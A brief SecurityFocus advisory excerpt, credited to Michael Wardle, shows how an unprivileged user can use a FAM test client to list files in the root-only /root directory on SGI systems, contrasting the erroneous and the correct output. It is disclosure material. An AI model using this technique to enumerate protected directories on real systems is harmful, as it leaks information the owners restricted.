SGI FAM Arbitrary Root Owned Directory File Listing Vulnerability

This example was provided by Michael Wardle:

# ls -ld /root
drwxr-x--- ... root root ... /root
# fam

% groups | grep root

ERRONEOUS BEHAVIOR
% ./test -d /root
FAMMonitorDirectory("/root")
FAMMonitorDirectory("/root")
DIR /root: /root Exists
DIR /root: .gnome Exists
DIR /root: Desktop Exists
...

CORRECT BEHAVIOR
% ./test -d /root
FAMMonitorDirectory("/root")
FAMMonitorDirectory("/root")
DIR /root: /root Exists
DIR /root: /root EndExist
----------------------------------------
(% indicates a command run as an unprivileged user)


 

Privacy Statement
Copyright 2010, SecurityFocus